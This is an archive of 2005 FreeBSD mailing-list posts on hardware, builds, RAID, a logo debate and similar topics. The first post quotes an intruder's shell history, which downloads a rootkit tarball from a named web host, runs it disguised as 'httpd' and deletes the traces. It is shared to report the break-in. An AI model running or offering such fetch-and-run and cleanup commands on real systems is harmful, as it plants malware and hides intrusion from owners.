 i know a certain hacking group who is trying to run their trojan as httpd,
 i
 discovered that info through some shell account i am running, that has
 tried
 to start this rootkit on our machine.

 heres a short view from the shell's history:

 -
 wget geocities.com/setan_maya/taek.tar.gz
 cd ..
 ls
 cd ..
 ls
 cd tmp
 ls
 wget geocities.com/setan_maya/taek.tar.gz
 tar zxvf taek.tar.gz
 ls
 cd taek
 ./httpd
 chmod 755 httpd
 ./httpd
 ls
 cd ..
 rm -rf taek
 rm taek.tar.gz
 ---

 this clearly shows, that we have to do with a very dumb person, hence he

 1. didnt cleaned his historyfile
 2. left the tar.gz file in his homedir
 3. loaded the rootkit from the same server he is running the group's
 webpage
 on.
 4. has a link to their chan on that page, and in the chan as ive monitored

 for 48hrs, ive found them posting their successes directly and
 unencrypted.

 I have informed a number of providers and hosters, that had their webpage
 posted into that chan, and informed them about the breakins, so far i got
 no
 message back from them.

 of course, its a longshot, but they didnt seem to check first if the
 folder
 tmp has the executable bit set at all, and they named their client like
 the
 file youve found.

 i hope this helps you further.

 Greetings
 Oliver Leitner
 Technical Staff
 http://www.shells.at

 On Tuesday 08 February 2005 14:35, Bret Walker wrote:
  Last night, I ran chkrootkit and it gave me a warning about being
  infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL up
  to version 0.96d or older on Linux systems.  I have only run 0.97d.
  The file that set chkrootkit off was httpd which was located in /tmp.
  /tmp is always mounted rw, noexec.
 
  I update my packages (which are installed via ports) any time there is
  a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
  2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
  couple of weeks, but the only code that required it to be on was in a
  

Dlink DWL-G650+

2005-02-09 Thread Alex
hi !
I have some troubles on my laptop with FreeBSD 5.3:
i am tryng to install wifi pcmci card Dlink AirPlus DWL-G650+
dmesg|grep cardbus0
cardbus0: CardBus bus on cbb0
cardbus0: Expecting link target, got 0x7e
cardbus0: Resource not specified in CIS: id=10, size=2000
cardbus0: Resource not specified in CIS: id=14, size=2
cardbus0: network at device 0.0 (no driver attached)
cardbus0: Expecting link target, got 0x7e
cardbus0: Resource not specified in CIS: id=10, size=2000
cardbus0: Resource not specified in CIS: id=14, size=2
dmesg | grep cbb
cbb0: ENE CB1410 PCI-CardBus Bridge mem 0x8000-0x8fff irq 5 at  
device 12.0 on pci0
cardbus0: CardBus bus on cbb0
pccard0: 16-bit PCCard bus on cbb0
cbb0: CardBus card activation failed

%cat /usr/src/sys/i386/conf/MYLAPTOPKERN |grep ath
device  ath
device  ath_hal
%
in the /stand/help/HARDWARE.TXT i have found D-Link DWL-G650B
but i have DWL-G650+ (is it just the same ?)
what can i do ?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: MySQL query tool and Administrator

2005-02-09 Thread Damian Sobieralski

 I downloaded the source from:

http://dev.mysql.com/downloads/query-browser/1.1.html

 I extracted and it created three directories:
mysql-query-browser-1.1.5/
 mysql-gui-common/
 mysql-query-browser/

 I cd into mysql-query-broswer-1.1.5/mysql-query-browser and ran
./configure.  It fails at the following:

checking for mysql_config... -I/usr/local/include/mysql -O -pipe
checking for mysql_config... -L/usr/local/lib/mysql -lmysqlclient -lz
-lcrypt -lm
checking for pkg-config... /usr/local/bin/pkg-config
checking for glib-2.0 libxml-2.0 = 2.6.2... yes
checking GLIB_CFLAGS... -I/usr/local/include/glib-2.0
-I/usr/local/lib/glib-2.0/include -I/usr/local/include/libxml2
-I/usr/local/include  
checking GLIB_LIBS... -L/usr/local/lib -lglib-2.0 -lxml2 -lz -liconv
-lm  
checking for libglade-2.0
gthread-2.0
libxml-2.0 = 2.6.2
libgtkhtml-3.0
gtkmm-2.0... gnome-config: not found
gnome-config: not found
Package libgtkhtml-3.0 was not found in the pkg-config search path.
Perhaps you should add the directory containing `libgtkhtml-3.0.pc'
to the PKG_CONFIG_PATH environment variable
No package 'libgtkhtml-3.0' found

configure: error: Library requirements (libglade-2.0
gthread-2.0
libxml-2.0 = 2.6.2
libgtkhtml-3.0
gtkmm-2.0) not met; consider adjusting the
PKG_CONFIG_PATH environment variable if your libraries are in a
nonstandard prefix so pkg-config can find them.

 Installed gnome via packages: pkg_info | grep gnome:

gnome-icon-theme-1.2.3 A collection of icons for the GNOME 2 desktop
gnome-themes-2.6.3  A collection of themes and icons for GNOME 2
designed for a
gnomeapplets2-2.6.2.1_4 Applets components for the Gnome 2 Desktop
Environment
gnomeaudio2-2.0.0   Sound files for use with GNOME 2
gnomecontrolcenter2-2.6.1_3 Control center for GNOME 2 project
gnomedesktop-2.6.2  Additional UI API for GNOME 2
gnomegames2-2.6.2_2 The game applications package for the Gnome 2
Desktop Envir
gnomehier-1.0_19A utility port that creates the GNOME directory
tree
gnomekeyring-0.2.1_1 A program that keeps passwords and other secrets
gnomemag-0.10.11GNOME screen magnifier
gnomemedia2-2.6.2_6 Multimedia applications for the GNOME 2 desktop
gnomemimedata-2.4.1_2 A MIME and Application database for GNOME
gnomenetstatus-2.6.2.1 A GNOME applet that shows network status
gnomepanel-2.6.2_1  Panel component for the GNOME 2 Desktop
gnomesession-2.6.2  Session component for the GNOME 2 desktop
gnomespeech-0.3.5   GNOME text-to-speech API
gnomesystemmonitor-2.6.0_2 GNOME 2 system monitor program
gnometerminal-2.6.1_2 Terminal component for the GNOME 2 Desktop
gnomeuserdocs2-2.6.0.1 GNOME 2 users guide
gnomeutils2-2.6.2_1,1 GNOME 2 support utilities
gnomevfs2-2.6.2_1   GNOME Virtual File System
gucharmap-gnome-1.4.1 A Unicode/ISO10646 character map and font viewer
libgail-gnome-1.0.6 An implementation of the ATK interfaces for GNOME
widgets
libgnome-2.6.1.2Libraries for GNOME, a GNU desktop environment
libgnomecanvas-2.6.1.1 A graphics library for GNOME
libgnomeprint-2.6.2 Gnome print support library
libgnomeprintui-2.6.2 Gnome print support library
libgnomeui-2.6.1.1  Libraries for the GNOME GUI, a GNU desktop
environment


 This might be a simpleton-ish question but any advice where I can go
from here?



--- Ted Mittelstaedt [EMAIL PROTECTED] wrote:

 
 
  -Original Message-
  From: [EMAIL PROTECTED]
  [mailto:[EMAIL PROTECTED] Behalf Of Paul
 Schmehl
  Sent: Thursday, February 03, 2005 2:19 PM
  To: Damian Sobieralski; freebsd-questions@freebsd.org
  Subject: Re: MySQL query tool and Administrator
  
  
  Go to /usr/ports/emulators/linux_base/ and install the linux 
  emulator port. 
  Then you can install the query browser.  I've played with it a 
  little.  It 
  works OK but tends to core occasionally.
  
 
 My God Paul, this is FreeBSD we are talking about, not Windows!!!
 
 Granted he will need the Gnome desktop installed since it calls for
 glib-2.0 and libxml-2.0 but the source is at the URL he gave,
 download
 it, unzip it, untar it, cd to ~mysql-query-browser and run configure
 then make and make install.
 
 No wonder you found it unstable.  Since when does anyone run a Linux
 binary of a program that has source available?!?!?
 
 shaking head
 
 Ted
 
 
 

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: determine ufs2 %fragmentation on mounted filesystem

2005-02-09 Thread Nikos Vassiliadis
On Wednesday 09 February 2005 19:30, Nathan Kinkade wrote:
[snip]

 I had already tried dumpfs, but couldn't find any information about
 actual filesystem fragmentation in the output.  Erik's suggestion of
 running `# fsck -t ufs2 /usr` seemed to work, though I felt a little
 skittish about running it on a live filesystem.  
You can(must) use mksnap_ffs to take a snapshot and fsck that. Note that
snapshots are meant to be read-only, so fsck -n, mount -r etc...

 It found numerous 
 errors and auto-answered no for all of them, though I never specified
 that it should do that.  Does fsck just do this by default on a mounted
 filesystem?  Also, I had tried running fsck manually earlier and the
 only difference between what I did and Erik's suggestion was the -t
 option, which I wouldn't think should have been necessary.  Shouldn't
 fsck be able to determine the fs type by looking at the superblock?

 By the way, the fragmentation was as 5.1%.  Quite high, and I'm
 wondering how it got that way?  Squid?

 Thanks,
 Nathan
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: security updates

2005-02-09 Thread Anthony Atkielski
Hexren writes:

 How does it sound ;)

 If a bug that affects security is found, an update to fix is
 produced. In my definition this counts as security update.

Fine.  So what's the connection to cron?

-- 
Anthony


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Charles-André Landemaine
This will sign the death of FreeBSD.

How could they believe such crap?! Who said beastie is evil?! This is
totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
release...!

I think the reasons are the same as NetBSD. Do extremist Republicans
threaten BSD distros?

The word daemon in greek means server (the person, not the
hardware). This is neither good nor bad, if it has to be  either one,
then it's good.

Oh please, wake me up, it's a nightmare!!!
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: vinum in 4.x poor performer?

2005-02-09 Thread Mark A. Garcia
Marc G. Fournier wrote:
Self-followup .. the server config is as follows ... did I do maybe 
mis-configure the array?

# Vinum configuration of neptune.hub.org, saved at Wed Feb  9 00:13:52 
2005
drive d0 device /dev/da1s1a
drive d1 device /dev/da2s1a
drive d2 device /dev/da3s1a
drive d3 device /dev/da4s1a
volume vm
plex name vm.p0 org raid5 1024s vol vm sd name vm.p0.s0 drive d0 plex 
vm.p0 len 142314496s driveoffset 265s plexoffset 0s
sd name vm.p0.s1 drive d1 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 1024s
sd name vm.p0.s2 drive d2 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 2048s
sd name vm.p0.s3 drive d3 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 3072s

bassed on an initial config file that looks like:
neptune# cat /root/raid5
drive d0 device /dev/da1s1a
drive d1 device /dev/da2s1a
drive d2 device /dev/da3s1a
drive d3 device /dev/da4s1a
volume vm
 plex org raid5 512k
 sd length 0 drive d0
 sd length 0 drive d1
 sd length 0 drive d2
 sd length 0 drive d3
It's worth pointing out that your performance on the raid-5 can change 
for the better if you avoid having the stripe size be a power of 2.  
This is especially true if the (n)umber of disks are a 2^n.

Cheers,
-.mag
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Mark Ovens
Charles-André Landemaine wrote:
This will sign the death of FreeBSD.
How could they believe such crap?! Who said beastie is evil?! This is
totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
release...!
I think the reasons are the same as NetBSD. Do extremist Republicans
threaten BSD distros?
The word daemon in greek means server (the person, not the
hardware). This is neither good nor bad, if it has to be  either one,
then it's good.
Oh please, wake me up, it's a nightmare!!!
See the thread The FreeBSD Project is announcing a public competition 
for the new logo design.  in -advocacy - I've already replied with 
my views on the subject, along the same lines as your comments.

Mark
---
avast! Antivirus: Outbound message clean.
Virus Database (VPS): 0506-0, 08/02/2005
Tested on: 09/02/2005 18:48:20
avast! - copyright (c) 2000-2004 ALWIL Software.
http://www.avast.com

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: vinum in 4.x poor performer?

2005-02-09 Thread Mark A. Garcia
Olivier Nicole wrote:
All servers run RAID5 .. only one other is using vinum, the other 3 are 
using hardware RAID controllers ...
   


Come on, of course a software solution will be slower than an hardware
solution. What would you expect? :))
(Given it is same disk type/speed/controler...)
 

Usually this is the case, but it's also very dependent on the hardware 
raid controller.  There are situations where a software raid (vinum in 
this case) can outperform some hardward controlers under specific 
circumstances, i.e. sequential reads w/very large stripe size.  An 
example is an image server where the average image might be 3MB.  A 
stripe size of 434kB would cause ~7 transfers of data.  A case for a 
larger stripe size of 5MB would greatly improve performance.  There 
would be an 2MB diff in the avg file size that doesn't have any useable 
data.  Only 1 transfer of data would occur.  Vinum optimizes the data 
transfered to the exact 3MB of the file, whereas some hardware controls 
would transfer the whole 5MB stripe, adding some bandwidth latency and 
transfer time.  Again, it's a matter of specific cases, and assuming 
'performance' based on differing conduits for data transfer can just 
skirt the real issue, if there is any.

Cheers,
-.mag
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Louis LeBlanc
On 02/09/05 04:32 PM, Charles-André Landemaine sat at the `puter and typed:
 This will sign the death of FreeBSD.
 
 How could they believe such crap?! Who said beastie is evil?! This is
 totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
 release...!
 
 I think the reasons are the same as NetBSD. Do extremist Republicans
 threaten BSD distros?
 
 The word daemon in greek means server (the person, not the
 hardware). This is neither good nor bad, if it has to be  either one,
 then it's good.

Uh, not to be rude, but what the hell are you talking about?  I don't
remember anyone talking about changing the logo.  Except the occasional
fundy trying to throw the idea into the list every couple months using
every tone from appeasement to outright fire and brimstone.  I've never
seen anyone take it seriously.  Everyone here knows all the history of
the word, many know the history of Beastie himself, and so far as I
know, none have any plans to change him.

 Oh please, wake me up, it's a nightmare!!!

So Wake Up.

-- 
Louis LeBlanc  FreeBSD-at-keyslapper-DOT-net
Fully Funded Hobbyist,   KeySlapper Extrordinaire :)
Please send off-list email to: leblanc at keyslapper d.t net
Key fingerprint = C5E7 4762 F071 CE3B ED51  4FB8 AF85 A2FE 80C8 D9A2

Bagdikian's Observation:
  Trying to be a first-rate reporter on the average American newspaper
  is like trying to play Bach's St. Matthew Passion on a ukelele.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Chad Morland
On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED] wrote:
 See the thread The FreeBSD Project is announcing a public competition
 for the new logo design.  in -advocacy - I've already replied with
 my views on the subject, along the same lines as your comments.
 

I'm not subscribed to -advocacy can you provide me with an archive
link to this thread in question? I wasn't able to find it based on the
subject you provided.

-CM
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
well, i am quite new to freebsd, one of the things that got me curious enough 
to give it a try was the current logo, i like the beastie, it just has the 
perfect all around look, so why change it?

never change a running system

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

On Wednesday 09 February 2005 19:32, Charles-André Landemaine wrote:
 This will sign the death of FreeBSD.

 How could they believe such crap?! Who said beastie is evil?! This is
 totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
 release...!

 I think the reasons are the same as NetBSD. Do extremist Republicans
 threaten BSD distros?

 The word daemon in greek means server (the person, not the
 hardware). This is neither good nor bad, if it has to be  either one,
 then it's good.

 Oh please, wake me up, it's a nightmare!!!
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
 [EMAIL PROTECTED]

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: single box handling multiple ips, how?

2005-02-09 Thread Lowell Gilbert
Ken Hawkins [EMAIL PROTECTED] writes:

 Sorry if this is not quite the place to ask however, if it is not can
 someone point me toward the right resource (on the net) for answers. I
 am
 running FreeBSD on a box with an ethernet;
 ifconfig
 em0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST mtu 1500
  options=1bRXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING
  inet ???.???.???.151 netmask 0x broadcast 10.50.255.255
  inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1
  inet ???.???.???.152 netmask 0x broadcast 10.50.1.152
  inet ???.???.???.153 netmask 0x broadcast 10.50.1.153
  ether 00:30:48:2c:76:e2
  media: Ethernet 100baseTX full-duplex
  status: active
 
 the ??? are just our ips. you will notice that .152 and .153 are
 aliases
 and are mapped to external ips via a switch. my question is how can I
 resolve names to the ip aliases on the box? ie
 
 ???.???.???.152 - a.net
 
 and
 
 ???.???.???.153 - b.net
 
 is this a /etc/hosts kind of entry?
 
 ???.???.???.152web1.a.net web1
 ???.???.???.152web1.a.net.
 ???.???.???.153web1.b.net web1
 ???.???.???.153web1.b.net.
 
 any help would be greatly appreciated!

Yes, /etc/hosts will be the place to put those translations (for the
full hostnames -- you don't want the web1.a.net. entries) if you
want that machine to know about them.  If you explained the desired end
result, we might be able to give you more help.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Julien Gabel
 See the thread The FreeBSD Project is announcing a public competition
 for the new logo design.  in -advocacy - I've already replied with
 my views on the subject, along the same lines as your comments.

 I'm not subscribed to -advocacy can you provide me with an archive
 link to this thread in question? I wasn't able to find it based on the
 subject you provided.

You can follow this post at:
  http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/

-- 
-jpeg.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: security updates

2005-02-09 Thread Jeff Maxwell
I run freebsd-update as a cron job to check for security updates daily.
At 07:16 PM 2/9/05 +0100, you wrote:
Hexren writes:
 How does it sound ;)

 If a bug that affects security is found, an update to fix is
 produced. In my definition this counts as security update.
Fine.  So what's the connection to cron?
--
Anthony
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]
Jeff Maxwell
POS Department Manager
Uni-Marts, LLC
Voice   570-829-0888 Ext. 421
Fax 570-829-4390
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread [EMAIL PROTECTED]
Charles-André Landemaine wrote:
How could they believe such crap?! Who said beastie is evil?! This is
totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
release...!
Not all Heavy-Metal releases and/or bands are evil nor good, you know!
You just expressed the same crap about Heavy-Metal, as what other's 
are expressing about beastie.

--
Cheers, MetalMick
E-mail:   [EMAIL PROTECTED]
Web Site: www.deathnet.id.au


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Firewall throughput question

2005-02-09 Thread Mark A. Garcia
Darryl Hoar wrote:
Greetings,
I have had a Freebsd firewall (Older computer with (1) 3com 10Mb 
ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card).  
The firewall croaked on me (motherboard died).  As a quick fix, 
I plugged in a Linksys BEFSX41.

My Question is, should I build a new Freebsd firewall or just 
continue using the Linksys ? Throughput and security are my 
concern.  I can have up to 20 machines on the LAN at one time
using the internet, so traffic throughput is a factor.

Anyway, my inclination is to build a new freebsd firewall, but 
don't want to do the  work if the Linksys is good enough.

Thanks for any ideas or suggestions.
How old are those 3com cards?
I think the most important area to look at is guaging how much packet 
loss will occur under these high loads.  And that in-of-itself might 
appear differently in one type of traffic and not others, i.e. vpn, ssh, 
encrypted traffic, ssl.  Also, how well and quick a device can handle 
packet loss can be determined by newer equipment (new linksys router) 
handling packets that come over the wire verses and older 3com card with 
aging firmware.

It's a toss up that's hard to make a definative suggestion... unless you 
can do what Hexren mentioned and pit them against each other.  That 
would be the easiest way to appease your needs.

-.mag
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Hexren
 See the thread The FreeBSD Project is announcing a public competition
 for the new logo design.  in -advocacy - I've already replied with
 my views on the subject, along the same lines as your comments.

 I'm not subscribed to -advocacy can you provide me with an archive
 link to this thread in question? I wasn't able to find it based on the
 subject you provided.

JG You can follow this post at:
JG   http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/


-

quoteAnd this daemon character seems cute from somebody's point of view,
but somebody may think which does not suit for the professional
products to indicate that are using the FreeBSD inside./quote

Not my line of thought. I like the logo and its charm :)

Hexren

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Louis LeBlanc
Scratch that.

Found it.

Most heinous dude.  I have some more colorful expressions, but I
wouldn't want to offend anyone's sensitivities.

Lou
-- 
Louis LeBlanc  FreeBSD-at-keyslapper-DOT-net
Fully Funded Hobbyist,   KeySlapper Extrordinaire :)
Please send off-list email to: leblanc at keyslapper d.t net
Key fingerprint = C5E7 4762 F071 CE3B ED51  4FB8 AF85 A2FE 80C8 D9A2

Genius, n.:
  A chemist who discovers a laundry additive that rhymes with bright.


pgp6wnT6t8zeF.pgp
Description: PGP signature


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Mark Ovens
Louis LeBlanc wrote:
On 02/09/05 04:32 PM, Charles-André Landemaine sat at the `puter and typed:
This will sign the death of FreeBSD.
How could they believe such crap?! Who said beastie is evil?! This is
totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
release...!
I think the reasons are the same as NetBSD. Do extremist Republicans
threaten BSD distros?
The word daemon in greek means server (the person, not the
hardware). This is neither good nor bad, if it has to be  either one,
then it's good.
Uh, not to be rude, but what the hell are you talking about?  I don't
remember anyone talking about changing the logo.
http://logo-contest.freebsd.org/announce.txt Read it and weep.
Mark
---
avast! Antivirus: Outbound message clean.
Virus Database (VPS): 0506-0, 08/02/2005
Tested on: 09/02/2005 19:11:10
avast! - copyright (c) 2000-2004 ALWIL Software.
http://www.avast.com

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
On Wednesday 09 February 2005 20:07, Hexren wrote:
  See the thread The FreeBSD Project is announcing a public competition
  for the new logo design.  in -advocacy - I've already replied with
  my views on the subject, along the same lines as your comments.
 
  I'm not subscribed to -advocacy can you provide me with an archive
  link to this thread in question? I wasn't able to find it based on the
  subject you provided.

 JG You can follow this post at:
 JG   http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/


 -

 quoteAnd this daemon character seems cute from somebody's point of view,
 but somebody may think which does not suit for the professional
 products to indicate that are using the FreeBSD inside./quote

i know a certain penguin who doesnt look professional at all and is the most 
famous animal in it scene by now.


 Not my line of thought. I like the logo and its charm :)

 Hexren

 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
 [EMAIL PROTECTED]

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread sp0ng3b0b
Charles-André Landemaine wrote:
This will sign the death of FreeBSD.
Oh please, wake me up, it's a nightmare!!!
Come on now, is changing the logo ALL that BAD? Companies and 
organizations do it all the time. Who cares? It's not like a new logo 
will introduce new bugs and vulnerabilities in your OS!

Change is good. Time to try something different. I think some folks 
should relax and not get too upset. There are worse things going on in 
the world...

...my 2 cents...
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Andrew L. Gould
On Wednesday 09 February 2005 12:58 pm, Julien Gabel wrote:
  See the thread The FreeBSD Project is announcing a public
  competition for the new logo design.  in -advocacy - I've
  already replied with my views on the subject, along the same lines
  as your comments.
 
  I'm not subscribed to -advocacy can you provide me with an archive
  link to this thread in question? I wasn't able to find it based on
  the subject you provided.

 You can follow this post at:
   http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/

I like the daemon, and would like it to remain FreeBSD's mascot.  
However, I don't see a problem with separating the logo from the 
mascot.  

A decent example of this is Slackware's logo, which is separate from 
their pipe smoking penguin.  Check out both the Serious Slackware and 
Got Slack t-shirts at the link below.  Each t-shirt represents 
Slackware in a different light.  Both are still correct; but one is 
certainly more business friendly.

http://store.slackware.com/cgi-bin/store/search?id=sPyZ7iNL:mv_pc=229

Having a professional looking logo would make advocacy easier.  People 
do have their prejudices; and if people misunderstand the daemon, then 
it is not representing FreeBSD effectively.  We should be able to have 
both without feeling like we sold out.

I'll stop here and sign up for the advocacy mailing list.

Andrew Gould
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Question

2005-02-09 Thread .:PBS:. Medik
Thank you for replying so quickly.
And to further tell you my problem here goes:
I installed my copy of 4.6.2 cleanly on a machine, to avoid having to find 
myself looking for more ports and programs to install I did a complete 
installation without bothering with the configuration of Xwindows ( as I 
will be accessing this box from SSH on a windows machine) so I don't need 
the XFREE86 or however its called, hehe. So in essence this is all being 
fine tuned by remote on LAN.

To answer your question about whether I'm downloading .iso, no I did that 
for the first copy of the OS only and made a cd copy from windows yes. But 
all further ports I grab are *.tar.gz straight from Apache.org yes and then 
ftp'd into my bsd box. I can unzip them fine then I'm stuck with the tar to 
which I believe I 'untared' it correctly that now I have an apache_1.3.33 
folder, which to me seems fine, but I don't believe I put it in the right 
directory tree.

Also I have printed out the better part of the FBSD handbook, but right now 
I think I'm having an info overload. I've been at this for roughly 2 weeks 
now, out of stubbornness I didn't wish to disturb anyone with this, but my 
buddy who tutored me way back when has since gone away.

I can supply you with more info if you wish, as this is perhaps only the 
tip of my iceburg.. :)
Thanks again,

-Marc
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


start of daemons

2005-02-09 Thread peter.lidell
Hello,

I have installed apache and spamd from source and would like for them to start 
on bootup. How do I do that? (there are no .sh scripts for them in 
/usr/local/etc/rc.d)

Thanks for your time.

Regards

Peter
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: [OT] easy authpf access from Windows (for non-unix users)?

2005-02-09 Thread Vince Hoffman

On Wed, 9 Feb 2005, Hexren wrote:
ALG Is anyone running authpf with Windows clients in the network?  If so,
ALG how are the Windows clients logging in?  What's the easiest mechanism
ALG for this.
ALG I want my grandson to have free access to the (Windows) computers; but I
ALG want an adult to manually authorize internet access to prevent
ALG unsupervised surfing.
ALG Thanks,
ALG Andrew Gould
ALG ___
ALG freebsd-questions@freebsd.org mailing list
ALG http://lists.freebsd.org/mailman/listinfo/freebsd-questions
ALG To unsubscribe, send any mail to [EMAIL PROTECTED]
-
Putty is, in my experince an easy way to give Windows Clients SSH
capabilities. Plus its free.
Hexren
http://www.chiark.greenend.org.uk/~sgtatham/putty/
otherwise try openssh under cygwin
www.cygwin.com
(gives you a *nix link environment on the windows box, so putty may be 
better depending on your needs.)

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


NFS File Locking across multiple machines

2005-02-09 Thread Tim Traver
Hi all,
a couple of years back, we ran into a problem with the FreeBSD NFS code 
where file locks were not seen by other machines.

We use Netapp disk hardware to mount NFS filesystems to our FreeBSD 
systems. In the past, two different machines would not recognize locks 
from each other, and would sometimes cause file collisions.

From the same machine, two different processes would recognize locks 
without a problem.

In our experience, the Sun servers that we had also did not have any 
problems. This was after creating specific tests to make this determination.

We reported it to the freebsd developers way back when, and have lost 
track as to the status of the issue.

Does anyone on this list know of the developer that was developing the 
NFS code ??? or know anything about the issue ??? or have an answer ??? ;)

I'd like to talk to him/her to see what the status is in the later 
FreeBSD 4.x series as well as 5.x

Thanks,
Tim.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Firewall throughput question

2005-02-09 Thread sp0ng3b0b
Darryl Hoar wrote:
Greetings,
I have had a Freebsd firewall (Older computer with (1) 3com 10Mb 
